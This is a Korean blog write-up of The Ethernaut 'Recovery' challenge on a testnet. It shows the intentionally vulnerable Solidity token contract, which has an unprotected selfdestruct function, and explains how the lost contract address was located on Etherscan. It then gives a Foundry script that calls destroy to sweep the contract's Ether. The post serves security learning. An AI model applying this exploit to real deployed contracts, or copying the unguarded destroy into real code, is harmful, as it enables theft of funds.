Web3/The Ethernaut

[The Ethernaut] Recovery

프레딕 2025. 2. 2. 19:25
728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint256) public balances;

    // constructor
    constructor(string memory _name, address _creator, uint256 _initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // allow transfers of tokens
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}

문제내용은 다음과 같다.

미리 배포해둔 컨트랙트의 주소를 잃어버렸다고 한다.

해당 컨트랙트에는 0.001 Ether를 담아놨으며 해당 잔고를 0으로 만들거나 destroy하면 된다.

 

먼저 해당 컨트랙트 주소를 찾기 위해 etherscan을 찾아봤다.

https://sepolia.etherscan.io/address/0x38435FbD27829FE30b25B28fE0a950AE86596568#internaltx

 

instance 주소로 들어가보면 More Info 부분에 CREATOR를 발견할 수 있고 해당 txn으로 들어가봤다.

Level address에서 0.001 Ether를 0x5951.... 주소에 옮긴거를 확인 가능하고 해당 주소를 보면은 0.001 Ether가 잔고로 남아있는걸 확인 가능하다.

원래 ETH BALANCE 에 0.001 떠야하는데 지금은 클리어 해버려서 0인 상태이다.

 

해당 컨트랙트 주소를 찾았으니 해당 주소로 SimpleToken을 만들어서 destroy해버리면 된다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/recovery.sol";

contract RecoverySolve is Script {
    Recovery public target;
    function setUp() external{
        address payable targetAddress = payable(0x38435FbD27829FE30b25B28fE0a950AE86596568);
        target = Recovery(targetAddress);
        
    }

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        target.generateToken("hi", 1 ether);

        SimpleToken simpleToken = SimpleToken(payable(0x5951388fAB096aCEDee125cFCd18c09FAB9Da947));
        simpleToken.destroy(payable(0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C));

        vm.stopBroadcast();
    }

}

SimpleToken simpleToken = SimpleToken(payable(0x5951388fAB096aCEDee125cFCd18c09FAB9Da947));

을 사용하면 해당 주소의 컨트랙트와 상호작용하기 위한 인터페이스를 연결 가능하다.

즉 배포된 컨트랙트에 연결하는 것이다.

 

그리고 destory로 파괴시키면 끝이다.

 

또는 nonce를 통해 직접 계산할수도 있다.

https://blog.dixitaditya.com/ethernaut-level-17-recovery

728x90
반응형